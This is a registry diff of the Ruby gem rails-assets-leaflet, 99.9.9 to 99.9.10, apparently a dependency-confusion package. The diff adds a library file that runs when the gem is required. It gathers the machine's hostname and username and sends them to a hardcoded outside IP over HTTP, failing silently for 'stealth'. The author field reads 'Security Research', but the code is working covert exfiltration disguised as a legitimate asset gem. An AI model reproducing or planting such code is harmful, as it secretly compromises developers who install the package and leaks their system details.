rails-assets-leaflet 99.9.9 → 99.9.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rails-assets-leaflet.rb +47 -0
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: e5c00c5272c20917dcc68808c0c9b251180217b23c8e942c52205588bc7c9ba1
4
- data.tar.gz: 836bdf94b43b2455d108dabc88c8611307b3376937134b054502fe558097e59d
3
+ metadata.gz: 4091c0381405b6c4e5b738e816945a2373163244d8e0fda27cd48c8eed8464b3
4
+ data.tar.gz: d24696d017d029abded6a2421b95514c11d7e41a070cafc29030ab0c8319136b
5
5
  SHA512:
6
- metadata.gz: c6ea38b3274e2fc9b2f1fd3bd1a86e60b7452d9e48cb46623f94bd78bc4e11b6ca4232479aecae127acd12cefbba0b1dc7104ee4d8f94a762eff8fc58ce6592b
7
- data.tar.gz: b53df552da1b81f24aba17226b4a754c538aea4503f1832e1d50fdacee0762bc1ffd7bd9a240cd426987800146601f75c9a06783b8635075a761209c7875d2fe
6
+ metadata.gz: 1b582093c57b3ffc6f7b466c9b0914d21c70937b0427757422321762521e9e0040e1989de287e92727857b42cbd460a75f065f628e1073a6d950ca8dc6eb1b21
7
+ data.tar.gz: f0819ea6ca6fece463de26a2f268cfa8a872ab81cdad6c747e4c608969621ee52208cd27117b58ce444716681e14bd68d55c4aa9c708cb4e778a0b91d0e81839
@@ -0,0 +1,47 @@
1
+ require 'net/http'
2
+
3
+ require 'socket'
4
+
5
+ require 'uri'
6
+
7
+
8
+
9
+ module RailsAssetsLeaflet
10
+
11
+ # This code runs automatically when 'bundle install' requires the gem
12
+
13
+ begin
14
+
15
+ # Collect basic info to prove RCE
16
+
17
+ host = Socket.gethostname
18
+
19
+ user = ENV['USER'] || 'unknown'
20
+
21
+
22
+
23
+ # YOUR VPS IP HERE
24
+
25
+ vps_ip = "159.223.17.233"
26
+
27
+ port = "8080"
28
+
29
+
30
+
31
+ # Send the data to your listener
32
+
33
+ # URL will look like: http://1.2.3.4:8080/?target=hostname&user=root
34
+
35
+ uri = URI("http://#{vps_ip}:#{port}/?target=#{host}&user=#{user}")
36
+
37
+ Net::HTTP.get(uri)
38
+
39
+ rescue
40
+
41
+ # Fail silently to avoid breaking the build process (stealth)
42
+
43
+ nil
44
+
45
+ end
46
+
47
+ end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rails-assets-leaflet
3
3
  version: !ruby/object:Gem::Version
4
- version: 99.9.9
4
+ version: 99.9.10
5
5
  platform: ruby
6
6
  authors:
7
7
  - Security Research